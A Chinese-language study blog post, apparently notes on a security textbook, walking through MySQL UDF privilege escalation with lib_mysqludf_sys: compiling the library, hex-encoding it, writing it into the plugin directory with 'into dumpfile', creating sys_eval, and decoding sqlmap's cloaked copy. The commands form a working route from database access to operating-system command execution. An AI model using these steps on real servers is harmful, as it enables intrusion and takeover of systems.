emmm，虽然还是《白帽安全》这本书，但是前端那边的坑有机会再填吧，还是服务器端比较熟悉一点….
虽然这种在sqlmap里用过，但是一直不清楚咋实现的，看了书之后觉得还是记录一下学习过程吧。
UDF(User-Defined Function,用户自定义函数)
在流行的数据库中，一般都支持从本地文件系统中导入一个共享库文件作为自定义函数。使用如下语法可以创建UDF：
1
| CREATE FUNCTION f_name RETURNS INTEGER SONAME shared_libray
|
这里讲一下怎么安装lib_mysqludf.sys.so以及利用该.so文件来创建UDF从而执行sys_eval等system函数。
1 2 3 4 5 6 7 8 9
| 函数： sys_eval，执行任意命令，并将输出返回。 sys_exec，执行任意命令，并将退出码返回。 sys_get，获取一个环境变量。 sys_set，创建或修改一个环境变量。
|
攻击步骤
攻击过程中，首先需要将lib_mysqludf_sys ( 目标为windows时，lib_mysqludf_sys.dll；linux时，lib_mysqludf_sys.so）上传到数据库能访问的路径下。然后，创建UDF。
lib_mysqludf_sys.dll的导出路径：
1 2 3 4 5
| MySQL<5.0，导出路径随意； 5.0 <= MySQL<5.1，则需要导出至目标服务器的系统目录（如：system32） MySQL 5.1以上版本，必须要把udf.dll文件放到MySQL安装目录下的lib\plugin文件夹下才能创建自定义函数。
|
linux下
这里有三种方法，前两种虽然都失败了，但是还是记录出来，万一以后成功了呢真的成功了。。
方法一
下载lib_mysqludf_sys程序：https://github.com/mysqludf/lib_mysqludf_sys
解压后运行：sudo ./install.sh，然而在这里会报错
然而各种捣鼓各种百度也不行
除了运行.sh文件之外，也可以自己编译.so文件
1
| gcc -DMYSQL_DYNAMIC_PLUGIN -fPIC -Wall -I/usr/include/mysql -I. -shared lib_mysqludf_sys.c -o lib_mysqludf_sys.so
|
但是还是说少个.h文件，百度说这是一个mysql的bug引起的错误，只要修改/usr/include/mysql/my_global.h文件，注释掉626行重新编译就可以了。(结果我连这个目录都没有)
这时候是因为缺少安装一个工具，输入命令：
1
| sudo apt-get install libmysqlclient-dev
|
安装好就会有/usr/include/mysql目录，下面有所有需要的.h文件
先继续说下去吧，如果你上面都解决了，那么恭喜你，你快成功了。
接下来获得这个编译之后的.o文件的十六进制
1
| mysql> select hex(load_file('/root/Desktop/lib_mysqludf_sys-master')) into outfile "/tmp/hex.txt";
|
然后看一下mysql的plugin目录在哪：
1
| mysql> show variables like '%plugin%';
|
再看一下有没有导过：
1
| mysql> select * from mysql.func;
|
这里我就不截图了，因为我已经导过了，没有导过的话是空的。
紧接着将十六进制导入到plugin目录下：
1
| mysql> select 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into dumpfile '/usr/lib/mysql/plugin/mysqludf.so';
|
现在.o文件已经就位，最后一步就是用一开始说的那个创建UDF的函数来创建就好了：
1
| mysql> create function sys_eval returns string soname 'mysqludf.so';
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再看看func里有什么：
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| mysql> select * from mysql.func;
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可以看到多了个自定义的函数，接着耍耍权限吧：
方法二
和方法一差不多，不过利用的不是github上的源代码，而是sqlmap里自带的lib_mysqludfsys.so文件。
该文件在我本地的路径是/usr/share/sqlmap/udf/linux/64/，除此之外，udf目录下还有windows版本的文件。
但是测试的时候你又会惊喜的发现问题：
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| mysql> create function sys_eval returns string soname 'udf.so';
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ERROR 1126 (HY000): Can’t open shared library ‘udf.so’ (errno: 22 /usr/lib64/mysql/plugin/udf.so: invalid ELF header)
如果解决了这个问题，那么恭喜你，而且请评论告诉一下我咋做，谢谢大佬们~
这是因为sqlmap将此文件编码了一下，只需要用sqlmap/extra/clock/clock.py解锁一下就好了:
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| python cloak.py -d -i /usr/share/sqlmap/udf/mysql/linux/64/lib_mysqludf_sys.so_
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会在.so_文件目录下生成.so文件：
该文件和方法一编译成功之后的文件是一样的，所以接下来十六进制什么操作都是一样的。
方法三
这个方法是最简单，最偷懒的。
因为反正最终目的是要将lib_mysqludf_sys.so编译一下，得到其十六进制数据，再重新写回到plugin目录下，方法一是出错在编译的时候，那我直接就不编译了，将别人编译好的十六进制数据拿来用呗(读书人的是叫借鉴)，接下来参照方法一。
sqlmap
自动化注入工具sqlmap已经集成了此功能：
所以神器就是神器，还是要再研究一下sqlmap用法了。
